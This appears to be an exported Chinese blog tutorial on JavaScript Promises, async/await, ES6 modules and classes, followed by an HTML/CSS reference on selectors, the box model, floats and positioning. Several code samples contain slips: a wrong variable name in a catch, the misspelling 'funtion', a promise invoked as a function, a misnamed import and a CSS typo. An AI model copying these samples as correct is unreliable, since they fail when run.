catch()可以捕获它之前Rejected状态变化，不必紧邻

let p = new Promise(function(resolve, reject) {
  reject()
});
 
p.
then(function () {
  //code
})
.then(function () {
  //code
})
.catch(function () {
  console.log("错误失败")
})
// 错误失败

.all() 方法

等待所有都完成（或第一个失败）

const p1 = Promise.resolve(3);
const p2 = 100;
const p3 = new Promise((resolve, reject) => {
  setTimeout(resolve, 100, 'ok');
});

Promise.all([p1, p2, p3]).then((values) => {
  console.log(values); // [3, 100, "ok"]
});

Promise.all 可以将多个Promise实例包装成一个新的Promise实例。同时，成功和失败的返回值是不同的，成功的时候返回的是一

个结果数组，而失败的时候则返回最先被reject失败状态的值

let p1 = new Promise((resolve, reject) => {
  resolve('p1_success')
})

let p2 = new Promise((resolve, reject) => {
  resolve('p2_success')
})

let p3 = Promise.reject('p3_fail')

Promise.all([p1, p2]).then((res) => {
  console.log(res)  // ['p1_success', 'p2_success']
}).catch((error) => {
  console.log(err)
})

Promise.all([p1, p3 ,p2]).then((res) => {
  console.log(res)
}).catch((err) => {
  console.log(err)      // 'p3_fail'
})
let wake = (time) => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve(`${time / 1000}秒后醒来`)
    }, time)
  })
}

let p1 = wake(3000)
let p2 = wake(2000)

Promise.all([p1, p2]).then((res) => {
  console.log(res)       // [ '3秒后醒来', '2秒后醒来' ]
}).catch((err) => {
  console.log(err)
})

需要特别注意的是，Promise.all获得的成功结果的数组里面的数据顺序和Promise.all接收到的数组顺序是一致的，即p1的结果在前，即便p1的结果获取的比p2要晚。

.race() 方法

顾名思义，Promse.race就是赛跑的意思，意思就是说，Promise.race([p1, p2, p3])里面哪个结果获得的快，就返回那个结果，不管

结果本身是成功状态还是失败状态

let p1 = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve('success')
  },1000)
})

let p2 = new Promise((resolve, reject) => {
  setTimeout(() => {
    reject('failed')
  }, 500)
})

Promise.race([p1, p2]).then((res) => {
  console.log(res)
}).catch((err) => {
  console.log(err)  // 打开的是 'failed'
})

解决回调地狱

function getFileByPath(path) {
    return new Promise(function(resolve, reject) {
        fs.readFile(path, 'utf-8', (error, data) => {
            if(error) return reject(error)
            resolve(data)
        })
    })
}

// .then先执行
getFileByPath('./files/02.txt').then(
function(data) {
    console.log(data)
}, 
funtion(error) {
    console.log(error) 
})

解决回调地狱

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
    return getFileByPath('./files/03 .txt')
})
.then(function(data3) {
    console.log(data3)
})

如果前面的Promise执行失败，我们不想让后续的Promise被终止，可以为每个Promise指定失败回调

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
}, function(error) {
    console.log(error)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
})

有时候，我们有这样的需求，如果后续Promise执行，依赖于前面Promise执行的结果，如果前面失败了， 则后面的就没有执行下去的意义了，此时我们想要实现，一旦报错，则立即终止所有Promise的执行

getFileByPath('./files/01.txt')
.then(function(data) {
    console.log(data)
    return getFileByPath('./files/02 .txt')
})
.then(function(data2) {
    console.log(data2)
    return getFileByPath('./files/03 .txt')
})
.then(function(data3) {
    console.log(data3)
})
.catch(function(error) {
    console.log(error)
})
// 如果前面有任何的promise执行失败，会立即终止所有promise，并马上进入catch去处理promise中抛出的异常
const someAsyncThing = function(flag) {
return new Promise(function(resolve, reject) {
if(flag){
resolve('ok');
}else{
reject('error')
}
});
};

someAsyncThing(true).then((data)=> {
console.log('data:',data); // 输出 'ok'
}).catch((error)=>{
console.log('error:', error); // 不执行
})

someAsyncThing(false).then((data)=> {
console.log('data:',data); // 不执行
}).catch((error)=>{
console.log('error:', error); // 输出 'error'
})

上面代码中，someAsyncThing 函数成功返回 ‘OK’, 失败返回 ‘error’, 只有失败时才会被 catch 捕捉到。

async/await异步操作

含义

ES2017 标准引入了 async 函数，使得异步操作变得更加方便

async 函数是什么？一句话，它就是 Generator 函数的语法糖

async/await从字面意思上很好理解，async是异步的意思，await有等待的意思，而两者的用法上也是如此。async用于申明一个function是异步的，而await 用于等待一个异步方法执行完成。

async 函数的使用方式，直接在普通函数前面加上 async，表示这是一个异步函数，在要异步执行的语句前面加上 await，表示后面的表达式需要等待

基本用法

async关键词

async的语法很简单，就是在函数开头加一个async关键字，示例如下：

function f1() {
    return 1;
}

async function f2() {
    return 1;
}

console.log(f1()) // 1
console.log(f2()) // Promise{<fulfilled>:1}

凡是在前面添加了async的函数在执行后都会自动返回一个Promise对象

async函数会返回一个promise对象，如果function中返回的是一个值，async直接会用Promise.resolve()包裹一下返回：

async function f2() {
    return 1;
}

async function f2() {
    return Promise.resolve(1);
}

async function f2() {
    return await 1;
}

// 上面3个函数作用等同

f2().then((res) => {
    console.log(res) // 1
})

await关键词

关键词await是等待的意思，其后面是一个表达式，这个表达式可以是常量、变量、Promise以及函数等

await必须在async函数里使用，不能单独使用

await后面需要跟Promise对象，不然就没有意义，而且await后面的Promise对象不必写then，因为await的作用之一就是获取后面Promise对象成功状态传递出来的参数

await操作符等的是一个返回的结果，那么如果是同步的情况，那就直接返回了

异步的情况下，await会阻塞整一个流程，直到结果返回之后，才会继续下面的代码

function f1() {
    return 'aaa';
}

async function f2() {
    return Promise.resolve('bbb');
}

async function test() {
    const a = await f1();
    const b = await f2();
    console.log(a, b);
}

test(); // aaa bbb

阻塞代码是一个很可怕的事情，而async函数，会被包在一个promise中，异步去执行。所以await只能在async函数中使用，如果在正常程序中使用，会造成整个程序阻塞，得不偿失。

基本示例

当函数执行的时候，一旦遇到await就会先返回，等到异步操作完成，再接着执行函数体内后面的语句

function timeout(ms) {
    return new Promise((res) => {
        setTimeout(res, ms)
    })
}

async function asyncFn(v, ms) {
    await timeout(ms) // 必须等待await后面表达式成功返回才会执行后面语句
    console.log(v)
}

asyncFn('hello', 5000) // 5s后输出hello

正常情况下，await命令后面是一个 Promise 对象，返回该对象的结果。如果不是 Promise 对象，就直接返回对应的值

async function f() {
  return await 'hello'; // 等同于 return 'hello';
}

f().then(v => console.log(v)) // hello 【then的回调函数的接收的值是return语句返回的await语句返回值】
async function f() {
  throw new Error('出错了');
}

f().then(
  v => console.log(v),
  e => console.log(e) // Error: 出错了
)

---------------------------------

async function f() {
  await Promise.reject('出错了');
}

f().then(
  v => console.log(v),
  e => console.log(e) // 出错了
)

---------------------------------

async function f() {
  await Promise.reject('出错了');
}

f()
.then(v => console.log(v))
.catch(e => console.log(e)) // 出错了

注意，上面代码中，await语句前面没有return，但是reject方法的参数依然传入了catch方法的回调函数。这里如果在await前面加上return，效果是一样的。

如果await后面的Promise变为reject状态，则reject的参数会被catch回调函数接收

如果是变为reject状态，前面不加return，reject的参数也会被catch回调函数接收

async function f() {
  await Promise.reject('错误');
  await 10;
  console.log('hello')
}
f().then((res) => { console.log(res) }, (err) => { console.log(err) })
// 错误 【抛出错误后，会中断整个async函数的执行】

错误处理

任何一个await语句后面的 Promise 对象变为reject状态，那么整个async函数都会中断执行。 

async function f() {
  await Promise.reject('出错了');
  await Promise.resolve('hello world'); // 不会执行
}
f()

上面代码中，第二个await语句是不会执行的，因为第一个await语句状态变成了reject。

有时候，我们希望即使前一个异步操作失败，也不要中断后面的异步操作。这时可以将第一个await放在try...catch结构里面，这样不管这个异步操作是否成功，第二个await都会执行。 

async function f() {
  try {
    await Promise.reject('出错了');
  } catch(e) {
    console.log(e); // 出错了
  }
  return await Promise.resolve('hello');
}

f().then(v => console.log(v))
// hello

另一种方法是await后面的 Promise 对象再跟一个catch方法，处理前面可能出现的错误。 

async function f() {
  await Promise.reject('出错了').catch(e => console.log(e));
  return await Promise.resolve('hello world');
}

f().then(v => console.log(v))
// 出错了
// hello world

promise并不是只有一种resolve，还有一种reject的情况。而await只会等待一个结果，发生错误了有以下方式捕捉：

用try-catch来做错误捕捉

async function f() {
    try {
        await Promise.reject('error')
    } catch (err) {
        console.log(err)
    }
}

f() // error
async function f() {
  try {
    await Promise.reject('失败');
  } catch(e) {
  }
  return await Promise.resolve('成功');
}
f()
.then((res) => {
  console.log('res ' + res)
})
.catch((err) => {
    console.log('err ' + err)
})
// res 成功
// 可以将可能抛出错误的语句放入try catch语句中
async function f() {
  await Promise.reject('失败').catch((err) => { console.log(err) });
  return await Promise.resolve('成功');
}
f()
.then((res) => {
  console.log(res)
})
// 失败 成功
// 也可以在可能抛出错误的promise对象后面使用catch来捕获抛出的错误
async function func() {
  try {
    var res1 = await a();
    var res2 = await b();
    var res3 = await c();
  }
  catch (err) {
    console.error(err);
  }
}
// 如果有多个await语句，那么可以将其统一放在try语句中
// 特别说明：如果具有多个await语句，且它们之间不是继发关系，建议让它们同时触发，以达到最大性能

继发并发

如果具有多个await语句，且它们之间不是继发关系，建议让它们同时触发，以达到最大性能

getA和getB是独立的异步操作，没必要是继发关系，也就是执行完a再去执行b，那么可以采用以下方式

let [a, b] = await Promise.all([getA(), getB()]);

或者

let aPromise = getA();
let bPromise = getB();
let a = await aPromise();
let b = await bPromise();

优点

在我们处理异步的时候，比起回调函数，Promise的then方法会显得较为简洁和清晰，但是在处理多个彼此之间相互依赖的请求的时候，就会显的有些累赘。这时候，用async和await更加优雅

Module 的语法

// CommonJS模块
let { a, b, c } = require('fs');

// 等同于
let _fs = require('fs');
let a = _fs.a;
let b = _fs.b;
let c = _fs.c;

严格模式

ES6 的模块自动采用严格模式，不管你有没有在模块头部加上"use strict";。

严格模式主要有以下限制：

  • 变量必须声明后再使用
  • 函数的参数不能有同名属性，否则报错
  • 不能使用with语句
  • 不能对只读属性赋值，否则报错
  • 不能使用前缀 0 表示八进制数，否则报错
  • 不能删除不可删除的属性，否则报错
  • 不能删除变量delete prop，会报错，只能删除属性delete global[prop]
  • eval不会在它的外层作用域引入变量
  • eval和arguments不能被重新赋值
  • arguments不会自动反映函数参数的变化
  • 不能使用arguments.callee
  • 不能使用arguments.caller
  • 禁止this指向全局对象
  • 不能使用fn.caller和fn.arguments获取函数调用的堆栈
  • 增加了保留字（比如protected、static和interface）

import 和 export

导出 export

// moudle.js
export var num = 10;
export var obj = { name: 'hello' };
export function fn(v) {
console.log(v)
};

或者（推荐）

// moudle.js
var num = 10;
var obj = { name: 'hello' };
function fn(v) {
console.log(v)
};
export { num, obj, fn }

导入 import

// main.js
import { num, obj, fn } from './moudle.js';

fn(num); // 10
num = 20; // 报错，import 命令输入的变量都是只读的
obj.name = 'hi'; // ok，如果变量是一个对象，改写变量的属性是允许的

别名

通常情况下，export输出的变量就是本来的名字，但是可以使用as关键字重命名

var a1 = 10
var a2 = 20

export { a1 as a, a2 as b };
import { a1 as a } from './moudle.js';

注意写法

变量

export 1; // 报错

var a = 1;
export a; // 报错，没有声明变量
// 写法一
export var a = 1;

// 写法二
var a = 1;
export { a };

// 写法三
var a = 1;
export { a as b };

方法

// 报错
function fn() {}
export fn;

// 正确
export function fn() {};

// 正确
function fn() {}
export { fn };

export 导出命令

​ 一个模块就是一个独立的文件，该文件内部的所有变量，外部无法获取。如果你希望外部能够读取模块内部的某个变量，就必须使用export关键字输出该变量。ES6 将moudle.js其视为一个模块，里面用export命令对外部输出了三个变量。

另外，export语句输出的接口，与其对应的值是动态绑定关系，即通过该接口，可以取到模块内部实时的值。

export var foo = 'bar';

setTimeout(() => foo = 'baz', 500);

上面代码输出变量foo，值为bar，500 毫秒之后变成baz。

最后，export命令可以出现在模块的任何位置，只要处于模块顶层就可以。如果处于块级作用域内，就会报错，下一节的import命令也是如此。这是因为处于条件代码块之中，就没法做静态优化了，违背了 ES6 模块的设计初衷。

function fn() {
  export default 'bar' // error
}

fn()

上面代码中，export语句放在函数之中，结果报错

import导入命令

import命令接受一对大括号，里面指定要从其他模块导入的变量名。大括号里面的变量名，必须与被导入模块（moudle.js）对外接口的名称相同。

  • 由于import是静态执行，所以不能使用表达式和变量。

  • import命令具有提升效果，会提升到整个模块的头部，首先执行

fn();

import { fn } from './moudle.js';

上面的代码不会报错，因为import的执行早于foo的调用。这种行为的本质是，import命令是编译阶段执行的，在代码运行之前

模块的整体加载

除了指定加载某个输出值，还可以使用整体加载，即用星号（*）指定一个对象，所有输出值都加载在这个对象上面

// moudle.js
export function add(a, b) {
  return a + b;
}

export function reduce(a, b) {
  return a - b
}

普通加载

// main.js
import { add, reduce } from './moudle.js';

add(3, 2) // 5
reduce(3, 2) // 1

整体加载

// main.js
import * as com from './moudle.js';

com.add(3, 2); // 5
com.red(3, 2); // 1

export default

export default命令，为模块指定默认输出

// moudle.js

export default function() {
  console.log('hello');
}

其他模块加载该模块时，import命令可以为该匿名函数指定任意名字

// main.js
import sayHello from './moudle.js';

sayHello(); // hello

需要注意的是，这时import命令后面，不使用大括号

export default命令用在非匿名函数前，也是可以的

export default function sayHello() {
  console.log('hello');
}

// 或者写成
function sayHello() {
  console.log('hello');
}

export default sayHello;

上面代码中，sayHello函数的函数名sayHello，在模块外部是无效的，加载的时候，视同匿名函数加载

// moudle.js
function add(a, b) {
  return a + b;
}
export { add as default }; // 等同于 export default add;

// main.js
import { default as foo } from './moudle.js'; // 等同于 import foo from './modules.js';

正是因为export default命令其实只是输出一个叫做default的变量，所以它后面不能跟变量声明语句

// ok
export var a = 1;

// ok
var a = 1;
export default a;

// error
export default var a = 1;

同样地，因为export default命令的本质是将后面的值，赋给default变量，所以可以直接将一个值写在export default之后

// ok
export default 99;

// error
export 99;

上面代码中，后一句报错是因为没有指定对外的接口，而前一句指定对外接口为default

总结

1. 当用 export default 导出时，就用 import 导入（不带大括号）

2. 一个文件里，有且只能有一个 export default ，但可以有多个 export

3. 当用 export a 时，就用 import { a } 导入（记得带上大括号）

4. 当一个文件里，既有一个 export default people, 又有多个 export name 或者 export age 时，导入就用
import people, { name, age } from './moudle.js';

5. 当一个文件里出现 n 多个 export 导出很多模块，导入时除了一个一个导入，也可以用
  import * as com from './moudle.js';

class 基本语法

基本用法

ES5

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.say = function() {
  console.log(this.name, this.age);
};

const p = new Person('Jack', 18);
p.say(); // Jack 18

ES6

class Person {
constructor(name, age) { // 这是类的构造器
this.name = name;
this.age = age;
}
say() {
console.log(this.name, this.age);
}
}

const p = new Person('Jack', 20);
p.say(); // Jack 20

每个类中都有一个构造器，如果我们手动指定构造器，那么默认类内部有个隐形的、看不见的空构造器，类似于constructor() {}

构造器的作用：constructor方法是类的默认方法，通过new命令生成对象实例时，自动调用该方法。一个类必须有constructor方法，如果没有显式定义，那么会默认添加一个空的constructor方法

也就是说，ES5 的构造函数Person，对应 ES6 的Person类的构造方法

function Person {}

// 等同于
class Person {
  constructor() {}
}

实例属性和静态属性

实例方法和静态方法

通过new出来的实例能访问到的属性，叫做实例属性

通过构造函数，直接访问到的属性，叫做静态属性

ES5

function Person(name, age) {
  this.name = name; // name是实例属性
  this.age = age; // age是实例属性
}

Person.msg = 'hello'; // msg是静态属性

Person.prototype.say = function() {
  console.log('这是Person的实例方法');
}

Person.show = function() {
console.log('这是Person的静态方法');
}

const p = new Person('Jack', 18);

p.name; // Jack
p.age; // 18
p.say(); // 这是Person的实例方法
p.show(); // error, p.show is not a function
Person.show(); // 这是Person的静态方法
p.msg; // undefined
Person.msg; // hello

ES6

class Person {
constructor(name, age) { // 这是类的构造器
this.name = name;
this.age = age;
}
static msg = 'hello'; // 在class内部，通过static修饰的属性，就是静态属性

say() { // 实例方法
console.log('这是Person的实例方法');
  }

static show() { // 静态方法
console.log('这是Person的静态方法');
}
}

const p = new Person('Jack', 20);
p.msg; // undefined
Person.msg; // hello

类的继承

在class中，使用extends关键字实现子类继承父类

父类

class Person {
constructor(name, age) {
this.name = name;
this.age = age;
}
  say() {
   console.log('大家好');
  }
}

子类

  • 美国人
class American extends Person {
constructor(name, age) {
 super(name, age); // 调用父类的constructor(name, age)
}
}

let a = new American('Jack', 20 );
  • 中国人(有身份证号独有)
class Chinese extends Person {
constructor(name, age, IDNumber) {
 super(name, age); // 调用父类的constructor(name, age)
    this.IDNumber = IDNumber; // 语法规范：在子类中，this只能放到super之后使用
}
}

let c = new Chinese('李三', 20, '450981******' );

1.为什么一定要在constructor中调用super?

答：因为如果一个子类通过extends关键字继承父类，那么在子类的constructor构造函数中必须优先调用super()

2.super是什么东西？

答： super是一个函数，他是父类的构造器，子类中的super其实就是父类中constructor构造器的一个引用

3.如果不调用super方法，子类就得不到 this 对象

class Point {}

typeof Point; // function
Point === Point.prototype.constructor; // true

class注意问题

  • 在class内部，只能写构造器，实例方法，静态属性，静态方法
class Person {
var a = 10; // 报错
}
  • class关键字内部，还是用原来的ES5实现，我们把class关键字称作语法糖
]]> ES6 web ES6 HTML-CSS-JS参考手册 /2021/08/15/html-css-js-can-kao-shou-ce/ HTML

HTML结构

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <!--移动端适配代码-->
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
    <title>首页</title>
  </head>
  <body>
  </body>
</html>

基本标签

常用标签

基本标签说明
div布局容器
h1-h6标题标签（h1权重最高 (页面中 最重要的位置logo 新闻标题)页面中只能出现一次），h3常用
p段落标签
br换行标签
hr水平分割线标签
b文本加粗
strong文本加粗[强调]
i文本斜体
em文本斜体
s文本删除线
del文本删除线[强调]
u文本下划线
ins文本下划线[强调]
big文本放大
small文本缩小
sub下标
sup上标
pre预格式文本[原样输出]
textarea文本域
meta单标签

特殊字符标签

转义字符说明
&nbsp ；空格
&lt ;<
&gt ;>

块级元素和行内元素

块级元素

div
p
h1-h6
ul+li  ol+li  dl+dt+dd
hr

特点：

  • 独占一行
  • 可设置宽高，宽度默认100%，高度由内容决定（可参考父级高度设置百分比，如 height：100%）
  • 可设置内外边距
  • 可容纳行内元素和块级元素

行内元素

a   span   strong   b   em   i   sub   sup   u

特点：

  • 和相邻行内元素在一行上

  • 不能设置宽高，高度由内容决定（可通过line-height来设置高度）

  • 垂直方向的padding和margin设置无效，但水平方向的padding和margin可以设置

  • 只能容纳文本或行内元素

特殊：a可以包裹任意块级元素 最好外面包裹一层div布局

行内块级元素

特点：

  • 不单独占满一行，可以看成是能够在一行里进行左右排列的块元素
  • 可设置宽高（如果元素没有设置宽高，则宽高由内容决定）
  • 可设置内外边距

行内和块级元素转换

1. display

display: block; /* 行内元素转块级元素 */

display: inline; /* 块级元素转行内元素 */

display: inline-block; /* 行内块元素 */

2. float

若设置行内元素为：

float: left;
/* 或者 */
float: right;

则该行内元素转换为块级元素，且具有浮动特性

3. position

若为行内元素进行定位为：

position: absolute;
/* 或者 */
position: fixed;

会把行内元素转换为块级元素

CSS

盒子模型

CSS的盒子模型有两种：

  • IE 盒子模型（content部分包含了border 和padding）
  • 标准W3C盒子模型，如下图：

盒子模型

内容(content)    内边距(padding)    边框(border)    外边距(margin)

许多元素将由用户代理样式表设置外边距和内边距。可以通过将元素的 margin 和 padding 设置为零来覆盖这些浏览器样式

* {
  margin: 0;
  padding: 0;
}

在 CSS 中，width 和 height 指的是内容区域的宽度和高度。增加内边距、边框和外边距不会影响内容区域的尺寸，但是会增加元素框的总尺寸，例如

#box {
  width: 70px;
  margin: 10px;
  padding: 5px;
}

盒子宽高

1.元素空间大小

元素空间宽度 = width+ padding + margin + border
元素空间高度 = height + padding + margin + border

2.元素实际大小

元素实际宽度 = width+ padding + margin
元素实际高度 = height + padding + margin

可以分成两种情况

box-sizing: content-box; 盒子大小 = width + padding + border（默认值）
box-sizing: border-box;盒子大小 =  width（就是说  padding 和 border 是包含到width里面的）

选择器

CSS选择器

基本选择器

序号选择器含义示例
1div、p元素选择器p { color: red }
2#idid选择器#info { color: red }
3.class类名选择器.name { color: red }
4*通配符选择器* { margin: 0; padding: 0;}

多元素的组合选择器

序号选择器含义示例
1div,p .one, p多元素选择器div,p { color: red }
2div p .one p后代选择器.one p { color: red }
3div>p .one>p子元素选择器.one p { color: red }
4div+p .one+p相邻元素选择器.one+p { color: red }
交集选择器 (div.one,  p.red)
并集选择器 (.red, p)

属性选择器

序号选择器含义示例
1E[att]匹配所有具有att属性的E元素（E在此处可以省略，以下同）
2E[att=val]匹配所有att属性等于”val”的E元素
3E[att~=val]匹配所有att属性具有多个空格分隔的值、其中一个值等于”val”的E元素
4E[att|=val]匹配所有att属性具有多个连字号分隔（hyphen-separated）的值、其中一个值以”val”开头的E元素，主要用于lang属性，比如”en”、”en-us”、”en-gb”等等

[attr] 

[title] {
color:red;
}

匹配

<h3 title="Hello world">Hello world</h3>
<a title="W3School" href="http://w3school.com.cn">W3School</a>

[attr=val]

[title=W3School] {
color:red;
}

匹配

<h3 title="W3School">W3School</h3>
<a title="W3School" href="http://w3school.com.cn">W3School</a>

[attr~=val]

[title~=hello] {
color:red;
}

匹配

<h3 title="hello world">Hello world</h3>
<p title="student hello">Hello W3School students!</h1>

[attr|=val]

[lang|=en] {
color:red;
}

匹配

<p lang="en">Hello!</p>
<p lang="en-us">Hi!</p>

伪类

序号选择器含义
1E:first-child匹配父元素的第一个子元素
2E:link匹配所有未被点击的链接
3E:visited匹配所有已被点击的链接
4E:active匹配鼠标已经其上按下、还没有释放的E元素
5E:hover匹配鼠标悬停其上的E元素
6E:focus匹配获得当前焦点的E元素
7E:lang(c)匹配lang属性等于c的E元素

伪元素

序号选择器含义
1E:first-line匹配E元素的第一行
2E:first-letter匹配E元素的第一个字母
3E:before在E元素之前插入生成的内容
4E:after在E元素之后插入生成的内容

CSS3选择器

CSS3同级元素通用选择器

序号选择器含义示例
1E ~ F匹配任何在E元素之后的同级F元素p ~ .one { color: red }

CSS3属性选择器

序号选择器含义
1E[att^=”val”]属性att的值以”val”开头的元素
2E[att$=”val”]属性att的值以”val”结尾的元素
3E[att*=”val”]属性att的值包含”val”字符串的元素

CSS3中与用户界面有关的伪类

序号选择器含义
1E:enabled匹配表单中激活的元素
2E:disabled匹配表单中禁用的元素
3E:checked匹配表单中被选中的radio（单选框）或checkbox（复选框）元素
4E::selection匹配用户当前选中的元素

CSS 3中的结构性伪类

序号选择器含义
1E:root匹配文档的根元素，对于HTML文档，就是HTML元素
2E:nth-child(n)匹配其父元素的第n个子元素，第一个编号为1
3E:nth-last-child(n)匹配其父元素的倒数第n个子元素，第一个编号为1
4E:nth-of-type(n)与:nth-child()作用类似，但是仅匹配使用同种标签的元素
5E:nth-last-of-type(n)与:nth-last-child() 作用类似，但是仅匹配使用同种标签的元素
6E:last-child匹配父元素的最后一个子元素，等同于:nth-last-child(1)
7E:first-of-type匹配父元素下使用同种标签的第一个子元素，等同于:nth-of-type(1)
8E:last-of-type匹配父元素下使用同种标签的最后一个子元素，等同于:nth-last-of-type(1)
9E:only-child匹配父元素下仅有的一个子元素，等同于:first-child:last-child或 :nth-child(1):nth-last-child(1)
10E:only-of-type匹配父元素下使用同种标签的唯一一个子元素，等同于:first-of-type:last-of-type或 :nth-of-type(1):nth-last-of-type(1)
11E:empty匹配一个不包含任何子元素的元素，注意，文本节点也被看作子元素

p:nth-child(n)

选择作为其父的第二个子元素的每个

元素

<style> 
p:nth-child(2) { background-color: red; }
</style>
<body>
<h1>这是标题</h1>
<p>第一个段落（背景红色***）</p>
<p>第二个段落</p>
<p>第三个段落</p>
<p>第四个段落</p>
</body>

p:first-child

选择作为其父的首个子元素的每个

元素

<style>
p:first-child { background-color: red; }
</style>
<body>
<p>这个段落是其父元素（body）的首个子元素（背景红色***）</p>
<h1>欢迎访问我的主页</h1>
<p>这个段落不是其父元素的首个子元素</p>
<div>
<p>这个段落是其父元素（div）的首个子元素（背景红色***）</p>
<p>这个段落不是其父元素的首个子元素</p>
</div>
<p>你好</p>
</body>

p:nth-of-type(2)

选择作为其父的第二个

元素的每个

元素

<style> 
p:nth-of-type(2) { background-color: red; }
</style>

<body>
<h1>这是标题</h1>
<h3>这是标题</h3>
<p>第一个段落</p>
<p>第二个段落（背景红色***）</p>
<p>第三个段落</p>
<p>第四个段落</p>
<p>第五个段落</p>
</body>

p:first-of-type

选择作为其父的首个

元素的每个

元素

<style> 
p:first-of-type { background-color: red; }
</style>

<body>
<h1>这是标题</h1>
<p>这是第一个段落（背景红色***）</p>
<p>这是第二个段落</p>
<p>这是第三个段落</p>
<p>这是第四个段落</p>
</body>

p:only-of-type

选择作为其父的唯一

元素的每个

元素

<style> 
p:only-of-type { background-color: red; }
</style>

<body>
<div>
<p>这是一个段落（背景红色***）</p>
</div>
<div>
<p>这是一个段落</p>
<p>这是一个段落</p>
</div>
</body>

p:only-child

选择作为其父的唯一子元素的

元素

<style> 
p:only-child { background-color: red; }
</style>

<body>
<div>
<p>这是一个段落（背景红色***）</p>
</div>
<div>
    <p>这是一个段落</p>
<span>这是一个 span</span>
<p>这是一个段落</p>
</div>
</body>

CSS3的反选伪类

序号选择器含义示例
1E:not(s)匹配不符合当前选择器的任何元素:not(p) { color: red }

CSS3中的 :target 伪类

序号选择器示例
1E:target匹配文档中特定”id”点击后的效果
:target {
color: red;
font-size: 30px;
}

E::before和E::after

在E元素内部的开始位置和结束位创建一个元素，该元素为行内元素，且必须要结合content属性使用。

div::before {
  content:"开始";
}
div::after {
  content:"结束";
}

E:after、E:before 在旧版本里是伪元素，CSS3的规范里“:”用来表示伪类，“::”用来表示伪元素，但是在高版本浏览器下E:after、E:before会被自动识别为E::after、E::before，这样做的目的是用来做兼容处理。

“:” 与 “::” 区别在于区分伪类和伪元素

之所以被称为伪元素，是因为他们不是真正的页面元素，html没有对应的元素，但是其所有用法和表现行为与真正的页面元素一样，可以对其使用诸如页面元素一样的css样式，表面上看上去貌似是页面的某些元素来展现，实际上是css样式展现的行为，因此被称为伪元素。是伪元素在html代码机构中的展现，可以看出无法伪元素的结构无法审查

伪元素:before和:after添加的内容默认是inline元素**；这个两个伪元素的content属性，表示伪元素的内容,设置:before和:after时必须设置其content属性，否则伪元素就不起作用。

CSS优先级

优先级为:
!important  >  id  >  class  >  元素标签（element）
!important 比内联优先级高

CSS继承性

可继承样式属性

属性存在默认继承的行为，一定是那些不会影响到页面布局的属性

字体相关：font-size、font-weight、font-style、font-family 等
文本相关：color、line-height、white-space、text-shadow、text-align、text-indent、text-decoration、letter-spacing、word-spacing 等
其他属性：visibility、cursor 等

不可继承样式属性

border、padding、margin、width、height

CSS单位

绝对单位

单位描述
px像素 (1px = 1/96th of 1in)

相对单位

单位描述
em它是描述相对于应用在当前元素的字体尺寸，所以它也是相对长度单位。一般浏览器字体大小默认为16px，则2em == 32px；
ex依赖于英文字母小 x 的高度
ch数字 0 的宽度
rem根元素（html）的 font-size
vwviewpoint width，视窗宽度，1vw=视窗宽度的1%
vhviewpoint height，视窗高度，1vh=视窗高度的1%
vminvw和vh中较小的那个。
vmaxvw和vh中较大的那个。
%相对于父元素的长度、宽度百分比

CSS定位

CSS的定位机制共3种： 文档流(标准流)、浮动和定位

文档流：根据便签样式，自左往右，自上而下显示

浮动：一般设置浮动时，将先设置父盒子来控制可浮动范围，设置浮动后，将转化为行内块元素，脱标

定位：常用定位方式：子绝父相
static：主要用来清除定位
relative：相对定位，占位置，不脱标
abosolute：绝对定位，不占位置，脱标
fixed: 固定定位，相对于浏览器窗口进行定位

注意： 浮动和绝对定位都会脱离文档流
position描述
static自动定位（默认定位方式）
relative相对定位，相对于其原文档流的位置进行定位
absolute绝对定位，相对于其上一个已经定位的父元素进行定位
fixed固定定位，相对于浏览器窗口进行定位
定位模式是否脱标占有位置是否可以使用边偏移移动位置基准
静态static不脱标，正常模式不可以正常模式
相对定位relative脱标，占有位置可以相对自身位置移动（自恋型）
绝对定位absolute完全脱标，不占有位置可以相对于定位父级移动位置（拼爹型）
固定定位fixed完全脱标，不占有位置可以相对于浏览器移动位置（认死理型）

浮动

浮动脱离标准流，不占位置，脱标，浮动只有左右浮动

文档流（标准流）中不占位置 display、block、 inline不遵循

float: left; 浮动
none：默认值。元素不浮动，并会显示在其在文本中出现的位置
left：元素向左浮动
right：元素向右浮动
inherit：规定应该从父元素继承 float 属性的值

如果包含框太窄，无法容纳水平排列的三个浮动元素，那么其它浮动块向下移动，直到有足够的空间。如果浮动元素的高度不同，那么当它们向下移动时可能被其它浮动元素“卡住”

10w68P.jpg

清除浮动

清除浮动的本质：清除浮动主要为了解决父级元素因为子级浮动引起内部高度为0 的问题

10wvVJ.jpg100FKO.jpg
clear: both; 左侧和右侧均不允许出现浮动元素
none：默认值。允许浮动元素出现在两侧
left：在左侧不允许浮动元素
right：在右侧不允许浮动元素
both：在左右两侧均不允许浮动元素
inherit：规定应该从父元素继承 clear 属性的值

1、额外标签法

在浮动元素末尾添加<div style=“clear:both”></div>

说明：W3C推荐使用方式，但代码冗余性高，不推荐使用

2、父级元素添加overflow属性

给父级添加 overflow:hidden / auto / scroll

触发BFC，但无法显示溢出元素

3、使用after伪元素

.clearfix:after{
content:"";
display:block;
height:0;
clear:both; /*额外标签法*/   
visibility:hidden; /* 隐藏盒子 */
}
.clearfix{
*zoom:1; /*兼容IE6，IE7，IE6清楚浮动的方式 */
}

因为这个伪元素属于行内元素，没有宽高，所以要block转换为块级元素

使用：父元素添加类：class="clearfix"

4、双伪元素法，推荐使用

.clearfix:before, .clearfix:after{
content:"";
display:table:
}
.clearfix:after{
clear:both;
}
.clearfix{
 *zoom:1;
} 
使用：父元素添加类：class="clearfix"

相对定位

设置为相对定位的元素框会偏移某个距离。元素仍然保持其未定位前的形状，它原本所占的空间仍保留

.box2 {
  position: relative;
  left: 30px;
  top: 20px;
}

注意，在使用相对定位时，无论是否进行移动，元素仍然占据原来的空间。因此，移动元素会导致它覆盖其它框

绝对定位

